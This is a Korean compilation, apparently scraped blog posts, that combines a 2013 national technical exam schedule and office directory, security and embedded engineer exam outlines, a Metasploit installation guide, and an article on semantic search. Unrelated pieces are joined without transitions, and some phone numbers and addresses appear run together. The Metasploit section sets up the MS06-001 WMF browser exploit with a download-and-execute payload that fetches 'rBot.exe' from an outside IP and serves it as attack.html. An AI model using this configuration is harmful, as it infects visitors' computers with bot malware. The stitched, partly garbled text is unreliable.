아래표 중 시행구분의 숫자 “1”은 필기(필답)시험 1부 시행종목을, “2”2부 시행종목을, 의미하며, “-”는 필기시험이 없는 종목임

직무분야

종 목 명

시행

구분

시 행 회

 

직무분야

종 목 명

시행

구분

시 행 회

인쇄목재가구공예

가 구 제 작

2

1

 

건 설

롤 러 운 전

1

1245

안 전 관 리

가 스

1

12345

 

건 설

모터그레이더운전

1

1

건 설

거 푸 집

-

45

 

목재가구공예

목 공 예

2

1

기 계

건설기계정비

2

1235

 

이용숙박여행오락스포츠

미 용(일반)

 

상시

건 설

건설재료시험

1

1235

 

이용숙박여행오락스포츠

미 용(피부)

 

상시

건 설

건 축 도 장

-

1235

 

건 설

미 장

-

24

건 설

건 축 목 공

-

135

 

기 계

반도체장비유지보수

2

5

기 계

공 유 압

2

235

 

안 전 관 리

방사선비파괴검사

1

1235

기 계

공조냉동기계

2

12345

 

건 설

방 수

-

25

재 료

광 고 도 장

1

13

 

건 설

배 관

1

1235

전기전자

광 학

1

2

 

농 림 어 업

버 섯 종 균

1

2

건 설

굴 삭 기 운 전

 

상시

 

인쇄목재가구공예

보 석 가 공

2

4

기 계

궤도장비정비

1

5

 

목재가구공예

보 석 감 정

1

14

인쇄목재가구공예

귀 금 속 가 공

1

235

 

음식서비스

복 어 조 리

1

1235

재 료

금 속 도 장

2

15

 

건 설

불 도 저 운 전

2

145

재 료

금속재료시험

2

135

 

건 설

비 계

-

2

재 료

금 속 재 창 호

-

5

 

목재가구공예

사 진

2

2345

기 계

금 형

2

135

 

농 림 어 업

산 림

2

124

기 계

기계가공조립

1

1345

 

기 계

생 산 자 동 화

2

345

기 계

기 계 정 비

2

4

 

건 설

석 공

-

2

건 설

기 중 기 운 전

2

1245

 

목재가구공예

석 공 예

1

4

운전운송

농 기 계 운 전

1

4

 

기 계

선 체 건 조

1

34

기 계

농기계 정비

1

1235

 

기 계

설 비 보 전

1

1235

건 설

도 배

-

15

 

경비청소

세 탁

2

14

목재가구공예

도자기 공예

2

23

 

농 림 어 업

수 산 양 식

2

23

건 설

도 화

-

4

 

기 계

승 강 기

2

1235

기 계

동력기계정비

2

34

 

농 림 어 업

식 육 처 리

2

25

건 설

로 더 운 전

1

1245

 

식 품 가 공

식 품 가 공

1

23

 

 

직무분야

종 목 명

시행

구분

시 행 회

 

직무분야

종 목 명

시행

구분

시 행 회

섬유의복

신 발 류 제 조

1

34

 

기 계

자동차보수도장

2

235

환경에너지

신재생에너지

발전설비(태양광)

1

35

 

기 계

자 동 차 정 비

1

12345

건 설

실 내 건 축

2

12345

 

기 계

자동차차체수리

1

235

건 설

아스팔트피니셔운전

1

1

 

건 설

잠 수

2

24

재 료

압 연

2

124

 

전기전자

전 기

1

12345

섬유의복

양 복

1

4

 

건 설

전산응용건축제도

2

12345

음식서비스

양 식 조 리

 

상시

 

기 계

전산응용기계제도

1

12345

섬유의복

양 장

2

1235

 

기 계

전산응용조선제도

2

34

건 설

양화장치운전

1

24

 

건 설

전산응용토목제도

1

1345

환경에너지

에 너 지 관 리

1

1245

 

전기전자

전 자 계 산 기

1

1235

기 계

연 삭

2

4

 

전기전자

전 자 기 기

2

12345

재 료

열 처 리

2

1235

 

기 계

전자부품장착(SMT)

2

34

섬유의복

염 색(날염)

1

34

 

목재가구공예

전 자 출 판

1

2345

섬유의복

염 색(침염)

1

34

 

전기전자

전 자 캐 드

2

2345

건 설

온 수 온 돌

-

14

 

기 계

정 밀 측 정

2

23

재 료

용 접

2

12345

 

정 보 통 신

정보기기운용

 

상시

농 림 어 업

원 예

1

23

 

정 보 통 신

정 보 처 리

 

상시

재 료

원 형

1

5

 

재 료

제 강

1

14

문화예술디자인방송

웹 디 자 인

2

12345

 

식 품 가 공

제 과

 

상시

화 학

위 험 물

2

1245

 

식 품 가 공

제 빵

 

상시

농 림 어 업

유 기 농 업

2

124

 

재 료

제 선

2

14

건 설

유 리 시 공

-

4

 

문화예술디자인방송

제품응용모델링

2

34

전기전자

의 료 전 자

1

234

 

건 설

조 경

2

12345

이용숙박여행오락스포츠

이 용

2

125

 

건 설

조 적

-

234

인쇄목재가구공예

인 쇄

1

345

 

음식서비스

조 주

2

12345

음식서비스

일 식 조 리

 

상시

 

농 림 어 업

종 자

1

134

농 림 어 업

임 산 가 공

1

24

 

재 료

주 조

1

35

농 림 어 업

임 업 종 묘

2

23

 

음식서비스

중 식 조 리

 

상시

안 전 관 리

자기비파괴검사

2

1345

 

건 설

지 게 차 운 전

 

상시

 

 

직무분야

종 목 명

시행

구분

시 행 회

 

직무분야

종 목 명

시행

구분

시 행 회

건 설

지 도 제 작

-

4

 

건 설

타 일

-

234

건 설

지 적

1

135

 

재 료

특 수 용 접

1

12345

건 설

천공기운전

1

124

 

재 료

판 금제 관

1

1

건 설

천장크레인운전

1

1245

 

재 료

표 면 처 리

2

35

건 설

철 근

-

5

 

재 료

플라스틱창호

1

25

전기전자

철도전기신호

2

23

 

목재가구공예

피 아 노 조 율

2

1

기 계

철도차량정비

1

2

 

섬유의복

한 복

2

23

건 설

철 도 토 목

2

24

 

음식서비스

한 식 조 리

 

상시

안 전 관 리

초음파비파괴검사

2

1234

 

기 계

항공기관정비

1

1345

재 료

축 로

2

2

 

기 계

항공기체정비

2

1235

농 림 어 업

축 산

1

34

 

건 설

항 공 사 진

-

4

건 설

측 량

2

1345

 

기 계

항공장비정비

2

23

안 전 관 리

침투비파괴검사

1

1245

 

기 계

항공전자정비

1

235

건 설

컨테이너크레인운전

1

24

 

건 설

항 로 표 지

2

4

문화예술디자인방송

컴퓨터그래픽스운용

1

12345

 

광 업 자 원

화 약 취 급

2

15

기 계

컴퓨터응용밀링

2

12345

 

화 학

화 학 분 석

1

134

기 계

컴퓨터응용선반

1

12345

 

농 림 어 업

화 훼 장 식

1

134

건 설

콘 크 리 트

2

1234

 

환경에너지

환 경

2

1235

건 설

타워크레인운전

2

24

 

 

 

 

 

 

 

. 응시자격 : 국가기술자격법 시행령12조의2에 의한 등급별 해당자

[반드시 응시자격여부를 확인 후 시험에 응시하시기 바랍니다]

 

 

 

. 지역본부 및 지사 안내

 

지 사 명

주 소

검정안내 전화번호

DDD

기술자격

전문자격

자격증교부

서울지역본부

121-757

서울특별시 마포구 백범로 3121

02

3274-9631~4

3274-9611~5

3274-9651~3

서울동부지사

143-845

서울특별시 광진구 뚝섬로 3238

02

2024-17039

2024-1705

서울남부지사

151-040

서울특별시 영등포구 버드나루로 110

02

876-8323

876-8323

강원지사

200-882

강원도 춘천시 동내면 원창고개길 135

033

248-8511~2

248-8516

강릉지사

210-852

강원도 강릉시 사천면 방동길 60

033

650-5700

650-5700

경인지역본부

405-817

인천시 남동구 남동서로 209

032

820-8600

820-8600

경기지사

441-440

경기도 수원시 권선구 호매실로 46-68

031

249-1201

249-1201

경기북부지사

480-070

경기도 의정부시 추동로 140

031

853-4285

853-4285

성남지사

461-180

경기도 성남시 수정구 성남대로 1217

031

750-6215

750-6214

대전지역본부

301-812

대전시 중구 서문로 25번길 1

042

580-91324

580-91513

580-9135

충북지사

361-839

충북 청주시 흥덕구 1순환로 394번길 81

043

279-90415

279-9044

충남지사

331-280

충남 천안시 서북구 천일고127

041

620-76345

620-7639

부산지역본부

616-740

부산광역시 북구 금곡대로 441번길 26

051

330-1910

330-1960

330-1910

부산남부지사

608-830

부산광역시 남구 신선로 454-18

051

620-1910

620-1910

울산지사

680-801

울산광역시 남구 번영로 173

052

220-32112

220-3223

경남지사

641-843

경남 창원시 성산구 두대로 239

055

212-7200

212-7200

대구지역본부

704-901

대구광역시 달서구 성서공단로 213

053

580-23217

580-2330

경북지사

760-822

경북 안동시 서후면 학가산온천길 42

054

840-30313

840-3035

포항지사

791-850

경북 포항시 북구 법원로 140번길 9

054

278-7702

278-7702

광주지역본부

500-470

광주광역시 북구 첨단벤처로 82

062

970-1761~7

970-1771~3

970-1768~9

전북지사

561-844

전북 전주시 덕진구 유상로 69

063

210-9200

210-9200

전남지사

540-964

전남 순천시 순광로 35-2

061

720-8500

720-8500

목포지사

530-410

전남 목포시 영산로 820

061

288-3324

288-3325

제주지사

690-029

제주 제주시 복지로 19

064

729-0701~2

729-0701~2

 

 

 

 

 

 

 

 

 

< 정보보안기사 시험 개요 >

 

1. 1차 필기시험

시험방법객관식(100문제)

시험시간: 2시간 30

 

2. 2차 실기시험

시험방법필답형

시험시간: 3시간

 

 

< 1차 필기시험 >

1. 시스템 보안: 20문제

운영체제 (기능구조종류보안운영체제)

클라이언트 보안 (윈도우 보안브라우저 보안공개 해킹도구클라이언트 방화벽)

서버 보안 (인증접근통제서버 해킹 원리서버 보안 도구)

 

2. 네트워크 보안: 20문제

네트워크 일반 (OSI 7 Layer, TCP/IP, 네트워크 서비스)

네트워크 활용 (IP Routing, 네트워크 장비무선 통신네트워크 프로그램)

네트워크 기반 공격 이해 (DoS, 네트워크 스캐닝, Spoofing, Hijacking, Sniffing)

네트워크 장비 활용 보안기술 (IDS, 방화벽, VPN, 라우터 보안)

네트워크 보안 동향 (침해사고역추적시스템, IPS, ESM, NAC)

 

3. 어플리케이션 보안: 20문제

인터넷 응용 보안 (FTP 보안메일 보안웹 보안, DNS 보안, DB 보안)

전자상거래 보안 (전자상거래 프로토콜무선 전자상거래 보안)

기타 어플리케이션 보안 (SSO, HSM, DRM)

 

4. 정보보안 일반: 20문제

보안요소 기술 (인증 기술접근통제 정책키 분배 프로토콜, PKI)

암호학 (암호 알고리즘해쉬 함수)

5. 정보보안 관리 및 법규: 20문제

정보보호 관리 (정보보호 정책/조직위험 관리업무연속성 관리)

정보보호 관련 법규 (정보통신망법전자서명법개인정보보호법)

 

 

< 2차 실기시험 >

 

ㅇ 출제기준 표준

 

1. 안전한 소프트웨어 개발방법을 이해하고 응용할 수 있다.

2. 보안요소기술들을 활용하여 보안제품 및 솔루션을 개발할 수 있다.

3. 보안정책 집행을 위해 운영체제네트워크 장비보안장비를 설정할 수 있다.

4. 시스템 로그 및 패킷 로그를 분석하여 침입 원인을 식별하고 보완할 수 있다.

5. 해킹 기술과 정보보호 대응기술에 대한 최신 경향을 파악할 수 있다.

6. 조직의 비즈니스 수행과 관련된 정보보호 법령들을 파악할 수 있다.

 

ㅇ 출제 주요 항목

 

1. 시스템 및 네트워크 보안특성 파악

운영체제별 보안 특성

프로토콜 특징 및 보안 취약점

서비스별 보안특성

보안장비 및 네트워크 장비 보안특성

시스템 및 네트워크 구조

 

2. 취약점 점검 및 보완

운영체제 및 버전별 취약점 점검 및 보완

서비스 버전별 취약점 점검 및 보완

보안장비 및 네트워크 장비 취약점 점검 및 보완

취약점 점검 및 보완사항 이력관리

 

3. 관제 및 대응

운영체제별 로그정보 점검

서비스별 로그정보 점검

보안장비 및 네트워크 장비 로그정보 점검

로그정보 통합 및 연관성 점검

데이터 백업증거 수집 및 침입자 추적

 

4. 정보보호계획 수립

- IT현황 및 자산 파악

조직의 요구사항 파악

관련 법령 검토

 

5. 위험 분석

내부외부 위협 분석

자산별 취약점 분석

- 취약점 점검 보고서 작성

 

 

 

2013년 제1회 국가기술자격 임베디드기사 1회 필기 기출문제

 

 


 개요
 
임베디드시스템 하드웨어에 대한 이해, 임베디드 소프트웨어 플래폼, 임베디드 시스템 응용 소프트웨어에 대한 기초 지식과 설계 및 응용 능력을 바탕으로 임베디드 시스템에 펌웨어, 운영체제를 이식하고, 응용 프로그램을 설계, 구현 및 테스트를 수행하는 업무 또는 이와 관련된 지도적 업무를 수행
 
 


 변천과정
  
신설 <2011.11.23. 고용노동부령 제35호>
 
 


 수행직무
 
   
임베디드 시스템 하드웨어에 대한 이해, 임베디드 소프트웨어 플랫폼, 임베디드 시스템 응용 소프트웨어에 대한 기초 지식과 설계 및 응용 능력을 바탕으로 임베디드 시스템에 펌웨어, 운영체제를 이식하고, 응용 프로그램을 설계, 구현 및 테스트를 수행하는 업무 또는 이와 관련된 지도적 업무를 수행하는 직무
 
 


 실시기관 홈페이지

  
http://www.q-net.or.kr
 
 


 실시기관명

  
한국산업인력공단
 
 


 진로 및 전망

  
임베디드시스템 하드웨어, 임베디드 소프트웨어 플랫폼, 임베디드 시스템 응용 소프트웨어 분야
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 [한국인터넷진흥원] 2013년도 정보보안기사, 정보보안산업기사 자격검정 시행 일정입니다.

 

 

 

정보보안기사와 정보보안산업기사 자격은 2013년 신규 시행되는 '정보통신' 직무분야의 '정보기술' 중직무분야 기술계 국가기술자격으로 자격검정은 '한국인터넷진흥원(kisq.or.kr)'에서 시행합니다.

2013년도 정보보안기사, 정보보안산업기사 자격검정 시험 일정 관련 첨부파일과 내용은 고용노동부 웹사이트 알림마당 게시판에서 가져온 '2013년도국가기술자격검정시행계획(안)' 파일에서 관련 부분을 발췌한 후 편집하여 작성한 것입니다.
고용노동부 웹사이트 알림마당 원문

 

 



 

기타 문의사항은 아래 연락처로 문의해 주시기 바랍니다.
o 한국인터넷진흥원(보안산업지원팀)
  - 전화: 국번없이 118
  - 이메일: kisq@kisa.or.kr
  - 자격검정 홈페이지: http://kisq.or.kr, http://정보보안자격.한국
  ※ 이메일로 문의주시면 성심 성의껏 답변해 드리겠습니다.

 

 

 

 

 

 

 

 

 

 

 

 

 


[보안, 제로데이 취약점 분석] [우분투] MetaSploit 설치 및 기본

[출처] http://mcchae.egloos.com/10861669

 

MetaSploit 는 오픈소스 태생으로 HD Moore 라는 사람이 만든
취약점, 침입, IDS 시그니쳐 등에 관한 프레임워크 입니다.

처음에는 파이썬으로 개발되었다가 이후 ruby로 재 코딩을 했다고 하네요.

 


현재는 Rapid7 이라는 보안회사에 포함이 되어 사용으로 판매되고 있으나

프리 버전의 오픈소스는 계속 해서 진행되고 있습니다.

 


우분투에서 이를 설치하는 방법을 기술해 봅니다.

 


1) 설치 패키지

$ sudo apt-get install subversion ruby rubygems ruby-openssl libopenssl-ruby

 


2) 프레임웍 가져오기

$ cd

$ svn co https://www.metasploit.com/svn/framework3/trunk/

$ mv trunk metasploit

 


3) 실행

$ cd

$ cd metasploit

$ ./msfconsole

 


4) 간단한 취약점 해킹 서버로 변신

위의 콘솔 상태에서,

 

 

msf > use windows/browser/ms06_001_wmf_setabortproc

msf > set payload windows/download_exec

msf > set URL http://20.30.40.234/rBot.exe

msf > set SRVHOST 20.30.40.222

msf > set LHOST 20.30.40.222

msf > set URIPATH attack.html

msf > exploit

 


와 같은 식으로 설정합니다.

검색의 진화, 시맨틱 검색



지식 사회로의 진화

오랜 세월, 인간은 생명 유지에 치명적 영향을 미치는 두 가지 결핍 상황에 적응하기 위해 끊임없이 진화해 왔다. 음식과 영양의 결핍은 인간 몸에 지방을 축적하는 방식으로 에너지를 보존하도록 진화시켰으며, 인간의 뇌는 자신의 안전과 경쟁력 확보를 위해 채워지지 않는 정보 갈증을 느끼도록 프로그래밍 되었다. 근대 이후 산업과 정보 혁명의 풍요로움은 수억 년의 인간 진화가 더 이상 축복이 아닌 재앙이 될 수 있음을 암시하고 있다. 화학, 유전공학, 기계의 발전은 비료와 농약, 농기계를 포함해 농업 생산성과 유통 산업의 혁명을 가져 왔으며, 여전한 지역적 불균형 속에서도 인류는 그 어느 때보다 먹을 거리의 풍요로움을 누리게 되었다. 풍요의 속도가 진화의 속도를 크게 추월함으로, 지방 축적의 축복은 역설적이게도 비만과 고혈압, 당료 등, 만성 성인병의 주요 원인이 되어버렸다. 컴퓨터와 인터넷 중심의 정보통신 혁명은 풍요로움이 성장보다는 비만을 만들어 낼 수 있음을 다시 한번 증명해 보이고 있다. 이제는 정보가 없어서가 아니라 너무나 많은 정보에 무료로 접근할 수 있기 때문에, 의사결정 하기가 더욱 어려워졌으며, 더 많은 시간과 에너지를 투자해야 하는 역설적 상황이 된 것이다. 결국, 단순히 배를 채우는 것이 아니라 유기농 등 몸에 좋은 음식을 가려서 적게 먹듯이, 의사 결정과 경쟁력의 핵심이 되는 정보를 식별해 섭취할 수 있는 역량이 더욱 중요해진 것이다. 경영학의 구루, 피터 드러커 교수의 표현처럼 미래는 정보를 가진 사람이 힘을 갖는 것이 아니라, 의미 있는 정보를 식별하고 자신의 지식과 연결, 이를 행동으로 옮길 수 있는 능력을 가진 사람과 조직이 힘을 가지는 세상으로 진화할 것이다.

인터넷과 월드와이드웹(WWW)은 분명, 지식 사회로의 변이를 가속시키는 변곡점 역할을 해 왔다. 그림 1과 같이 그 시작은 정보의 생산과 유통 활성화에 따른 검색 서비스 경쟁력이 핵심이었지만, 정보의 양 보다는 질과 신뢰도가 중요해 짐에 따라 사람 중심의 인터넷인 소셜 네트워킹 서비스(SNS)로 그 무게 중심이 옮겨지게 되었다. 이미 패이스북의 일일 방문자 수가 구글을 넘어 섰으며, 마이크로소프트가 엄청난 액수로 스카이프를 인수 한다는 소식은 이러한 변화의 중요성을 실감하게 한다. 그러면, 이제 앞으로 다가올, 혹은 이미 시작된 그 다음 단계는 무엇이 될까? 최근 이 분야의 많은 전문가들은 방대한 데이터의 상호 연결과 의미 분석을 통해 숨은 정보를 발견하고, 궁극적으로 의사 결정을 보다 쉽고 정확하게 할 수 있는 단계로 발전하리라 믿고 있다. 그 핵심이 시맨틱 웹과 시맨틱 검색이 되리라 전망되는데, 이는 컴퓨터가 상호 연결된 데이터의 의미를 파악하고 분석함으로 중요 정보를 식별, 더 나아가 상황에 맞게 정보를 재조직 함으로 문제 해결을 위한 지식 확보를 가능하게 하는 것이다. 본 기고의 주제인 시맨틱 검색은 정보의 위치 파악이 목적인 기존의 키워드 검색과 달리, 방대한 개별 정보를 상호 연결하고, 분석함으로 그 안에 숨겨진 의미를 새롭게 발견, 올바른 의사 결정과 문제 해결을 지원함으로 지식기반 사회에서의 본질적 경쟁력을 확보하는데 그 목표를 두고 있다.



01.tech_img58.gif

시맨틱 검색의 개념

2000년 초, 이미 IBM, 마이크로소프트 같은 대기업과 주요 대학을 중심으로 시맨틱 검색에 대한 기초 연구가 시작되었다. 초기의 시맨틱 검색은 사용자 입력 키워드의 의미적 해석 혹은 의미 모호성 해소에 집중된, 언어 처리 관점의 협의적 시맨틱 검색 시스템 개발이 주류였다. 그 이후, 시맨틱 검색 영역은 방대한 비정형 데이터 연결과 분석, 정보 추천과 개인화, 더 나아가 위치기반 모바일 맞춤형 검색과 소셜 네트워크 및 지식 구조 분석에 이르는 매우 큰 영역으로 발전해 가고 있다.

표 1과 같이 시맨틱 검색을 5가지 유형으로 구분해 볼 수 있다. 의미 모호성 해소와 어휘 개념 확장 검색은 전통적으로 자연언어처리 부문에서 관심을 가졌던 영역으로, 의미 모호성 해소는 정보 검색의 정확율 향상이 주요 목표가 되며, 어휘 개념 확장의 경우 검색 재현율을 향상시키는데 초점이 맞춰져 있다. 개체 특성 확장과 연관 주제 확장의 경우, 정보가 가진 특성을 구체적으로 이해하고, 관련 정보간의 상호 관계를 파악함으로, 숨은 의미를 이해할 수 있도록 한다. 최근 큰 관심을 받고 있는 의도기반 검색(intent based search)은 사용자의 검색 의도와 목적을 파악하고, 그에 적합한 정보와 연관 서비스를 추천하는 것을 목표로 한다. 의도기반 검색을 구현하기 위해서는, 사용자 의도를 올바르게 인지하고, 이를 서비스와 연결하기 할 수 있는 기술의 확보가 필수적이며, 사용자 상황 인지, 사용자 피드백 학습, 대화형 UX를 통한 의도 구체화 등의 매우 다양한 방법론이 연구되고 있다. 주목할 점은 구글, 마이크로소프트, 애플 등의 세계적 기업들이 지난 3년간 Powerset, Metaweb(Freebase), Siri 등을 인수 하고, 시맨틱 검색 관련한 내부 연구 개발 조직을 확대, 강화하여 그 사업 범위를 빠르게 확대해 나가고 있는 것이다.


02.tech_img59.gif


시맨틱 검색과 기존 검색 시스템과의 가장 큰 차이점은, 인덱스의 구조에서 찾아 볼 수 있다. 기존 검색 시스템은 형태소 분석 등의 과정을 통해 문서로부터 키워드(토큰)를 추출해 내고, 이들을 역파일(invert file) 구조의 인덱스에 저장 하게 된다. 반면에 전형적인 시맨틱 검색 시스템은 문서로부터 시맨틱 네트워크를 추출, 이를 그래프 구조로 지식베이스에 저장하고 검색 시에는 지식베이스에 질의(query)하는 방식을 취하게 된다. 매우 다양한 관점의 시맨틱 검색 기술이 개발되고 있으나, 어떤 형태던 시맨틱 네트워크로 정보가 표현, 재구성되어 지식 베이스에 저장, 질의 하는 형태로 재구성될 수 있다. 시맨틱 네트워크는 개념(컨셉, 용어)과 그들간의 관계가 표현된 지식 표현 방법 중 하나이다. 그림 2는 두 시스템의 차이점을 잘 설명하고 있다.

시맨틱 검색 기술의 핵심은 엄청난 양의 비정형 정보로부터 품질 좋은 시맨틱 네트워크를 어떻게 자동 생성, 저장하고 관리할 수 있는가 이다. 과거에는 시소러스나 워드넷과 같은 언어학적 시맨틱 네트워크를 사람의 손으로 일일이 만들어 왔으나, 상용 목적의 거대한 검색 시스템 개발을 위해 사람이 손으로 작업하는 것은 불가능해 졌다. 최근에는 문서로부터 시맨틱 네트워크를 자동 추출, 구성하기 위해 기존의 자연언어 처리뿐 아니라, 텍스트마이닝을 포함한 다양한 기계 학습 기술들, 추론 등의 보다 진보적인 AI 기법들이 상호 통합되어 적용되고 있다. 이러한 시맨틱 검색 기술의 발전은 정보를 정확히 잘 찾는 1차 목적의 달성뿐 아니라, 검색된 방대한 정보에 대해 그들의 상관 관계, 숨어 있는 이면 정보, 트랜드와 이슈 분석, 요약, 시각화 하는 등의 2차적 심층 분석 기능을 구현하는 방향으로 발전하고 있다.
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그림 3은 사용자 관점에서의 비정형 정보 검색과 분석의 진화 단계를 보여준다. 모든 정보시스템 구현의 시작은 정보를 생산하고 안전하게 저장하는 구조를 확보하는 것이다. 우리는 이 단계를 level 0로 정의한다. 정보가 쌓여가기 시작하면, 이를 관리하고 싶어진다. 디렉토리를 만들어 분류를 하거나, 제목, 날짜 등의 메타데이터로 태그를 다는 형태가 전형적이다. 초기 야후는 이 방법을 통해 시장 선점이 가능했다. 그러나 관리체계가 잘 갖추어진 경우도 문서의 수가 수백만 개 이상이 되면, 심지어 웹과 같이 수천억, 수조 개 이아 활용하는 것이 점점 어려워 진다. 이때가 비로서 정보검색의 중요성이 인식되는 단계인 level 2가 된다. 구글은 혁신적인 저장 및 인덱싱 구조와 성능 좋은 랭킹 알고리즘을 통해 엄청난 양의 문서로부터 사용자 만족도가 높은 검색 성능을 달성할 수 있었다. 구글은 level 2 단계에서 지배자가 된 것이다.

기존 검색 시스템이 제공하는 방대한 정보에의 빠른 접근성은 상당기간 시장을 만족시켜 왔다. 그러나 이제는 검색 결과 조차 사람이 모두 읽고 이해하기 힘들 정도로 많아지게 되었고, 단지 특정 키워드를 포함하는 문서를 찾아 주는 것으로는 사용자 욕구를 충족하기가 점점 힘들어 지고 있다. Level 3 발견성 확보와 level 4 분석성 제공은, 검색 결과를 정리, 요약, 분석함으로 그 안에 숨겨진 핵심 정보와 상호 연관성, 트랜드 등의 패턴을 이해하도록 돕는다. 특히, 텍스트마이닝 기술은 방대한 비정형 정보로부터 의미 있는 정보를 추출하거나 재조직화 함으로, 정보의 발견성을 더욱 용이하게 한다. 시맨틱 검색의 최종 목표는 의사 결정 지원이며, 이를 위해서는 시맨틱 웹 기술에 기계 학습 등의 마이닝 기술이 적용된 시맨틱 마이닝 기술의 확보가 관건이 될 것이다. 향후 5년 내에 시맨틱 마이닝 기술의 발전과 검색 서비스에의 결합은 실질적인 시맨틱 검색 서비스 시스템 출시를 가능하게 할 것이며, 2020년 무렵에는 데이터 지능화를 통한 예측성 수준에 이르게 될 것으로 기대된다.

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시맨틱 검색 구현 사례

국내에 가장 잘 알려진 구현 사례는 네이트의 시맨틱 검색 서비스일 것이다. 현재는 그 열기가 시들해진 면이 없지 않으나, 시맨틱 검색의 가능성을 제시한 중요 사례 중 하나가 되었다. 네이트 시맨틱 검색은 표 1을 기준으로, 개체 특성에 대한 확장 검색 기능을 제공하고 있는데, 시맨틱 검색 전 영역을 소화해 내지 못한 아쉬움이 크다. 지난 몇 년간 기업 및 공공 서비스에서의 시맨틱 검색 시스템 도입 사례가 급격히 증가하고 있다. 그림 4는 국가기록원과 용인시청의 시맨틱 검색 사례를 보이고 있다. 국가기록원은 ISO/IEC 11179 기반의 시맨틱 MDR을 구현하고 검색 시스템와 연계함으로 시맨틱 검색 체계를 확립하였으며, 용인시청의 경우 민원정보에 대한 온톨로지 구축과 검색 문서를 상호 연결함으로 시맨틱 검색 서비스 체계를 확보하였다. 그 외에 다양한 공공기관에서의 시맨틱 검색 도입이 추친되고 있는데, 향후 그 도입 사례가 크게 늘 것으로 예상된다.

민간 부문에서의 시맨틱 검색 도입은 두 방향으로 진행되고 있다. 하나는 KM, EP 등의 기업 내 업무 시스템에 적용되는 것이고, 두 번째는 스마트폰, 소셜 네트워킹 서비스(SNS) 등 새로운 서비스 환경에서의 개인 맞춤형 정보 및 서비스 추천 서비스로 발전되는 것이다. 그림 5는 기업 내 시맨틱 검색 환경 구현 사례를 보인다. 기존 시스템과 다르게 내부 정보뿐 아니라 외부 정보를 연계 통합하고, 상호 연결함으로 의미기반 검색과 통합 분석을 가능하게 한다. 특히, 검색 결과에 대한 요약과 시각화, 다차원 분석 기능은 기업의 의사결정 비용을 효과적으로 절감할 수 있도록 돕는다. 그림 6은 소셜 네트워크로부터 사용자들의 평판과 여론을 분석하고, 스마트폰 상에서 위치 기반의 정보를 추천하는 어플리케이션인 ‘보따리’와 부산시에서 구축한 지식네트워크 분석, 검색 서비스인 ‘부산지식네트워크’ 서비스 시스템의 사례이다. 보따리는 지역 및 지리정보를 트리플 기반의 지식베이스로 구현하고, SPARQL EndPoint를 통해 모바일 단말과 실시간 연결한다. 또한, 트위터로부터 수집된 사용자 의견으로부터 평판을 분석하고 지역 정보와 연계함으로, 해당 지역의 중요 POI에 대한 정보 추천 서비스를 제공하게 된다. 부산지식네트워크 서비스는 표1의 시맨틱 검색 영역의 상당부분을 포괄하고 있으며, 시맨틱 검색의 대표적 구축 사례로 꼽히고 있다. 논문과 기고문 등을 분석해 전문 지식 네트워크를 도출하고, 이와 관련된 전문가들을 연결, 추천하는 기능을 가지고 있으며, 전문가들 간의 친밀도나 소셜 네트워크를 분석, 보고하는 기능을 제공하고 있다.

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향후 발전 방향

지난 5년간 시맨틱 검색 기술은 연구개발 단계에서 상용화 단계로 빠르게 발전해 왔다. 다양한 시장 도입 사례들은 실용적인 시맨틱 검색 서비스 구현이 가능함을 증명해 보였고, 스마트폰을 통한 모바일 서비스와 소셜 검색 및 분석 시장의 성장은 시맨틱 검색 역할을 더욱 중요하게 만들고 있다. 조만간에 트위터 등을 통해 흐르는 엄청난 양의 실시간 정보를 분석함으로 기업은 고객 목소리를 이해, 시장 경쟁력을 향상시킬 것이고, 정부는 올바른 여론 인식과 정책 입안이 가능해 질 것이다. 그리고는, 시맨틱 검색 기술이 보다 높은 수준의 AI 기술과 접목됨으로, 방대한 데이터 분석과 지능화를 통한 미래 예측과 추론이 가능하게 될 것이다. 멀지 않은 미래에, 방대한 비정형 데이터를 실시간 분석, 지능화하는 플랫폼을 보유한 기업이 나타날 것이며, 구글의 자리를 대치하게 될 것이다. 그러한 세계적 기업이 한국에서 나올 수 있기를 고대해 본다.



About Saltlux Inc

솔트룩스는 기업용 검색솔루션 및 정보 마이닝, 시맨틱 웹, 유비쿼터스 컴퓨팅 등 차세대 웹 및 지식 서비스 전문기업입니다. 정보 마이닝 및 시맨틱 기술 부문에서는 국내 1위 기업으로서의 시장을 확보하고 있으며, 미국 및 유럽의 세계적인 기업 및 연구 단체들과 공동연구 및 협력을 통해 세계적인 기술력을 보유하고 있습니다.



주요사업영역 및 핵심기술

- 핵심기술 : 빅데이터 처리, 분석 마이닝 기술, 시맨틱 기술
- 시맨틱 검색 : 초대용량 시맨틱 검색, 고정밀 텍스트 마이닝, 소셜 검색 및 분석
- 데이터 지능화 : 서비스 개인화, 추천, 상황인지, Geo-Semantic, 지능형 모바일 서비스
- 웹 3.0 : 시맨틱 웹, LOD, 온톨로지, 추론엔진, 소셜 미디어 분석(트랜드, 평판)









출처 : 한국데이터베이스진흥원

제공 : DB포탈사이트 DBguide.net

시맨틱 웹 : 기술을 넘어 서비스 플랫폼으로



많은 관심과 기대를 받았던 시맨틱 웹, 과연 웹 환경의 변화와 산업적 가치를 창출할 수 있을 것인가? 소위 웹 2.0이라는 패러다임의 다음은 무엇이 될 것인가? 웹 3.0? 시맨틱 웹? 이제 우리는 시맨틱 웹을 보는 시각을 산업 인프라 기술로, 보다 발전된 데이터의 웹으로, 다양한 플랫폼의 혁신적 서비스 인프라로 인식해야 할 것이다. 눈에 보이지 않는 시맨틱 웹을 볼 줄 아는 통찰과 조급하지 않은 인내심, 발전 단계를 무시하지 않는 원칙적 접근이 한국에서의 시맨틱 웹 산업을 발전시킬 근간이 될 것이다.



IT 환경의 변화와 시맨틱 웹



IT환경의 변화와 산업적 기회



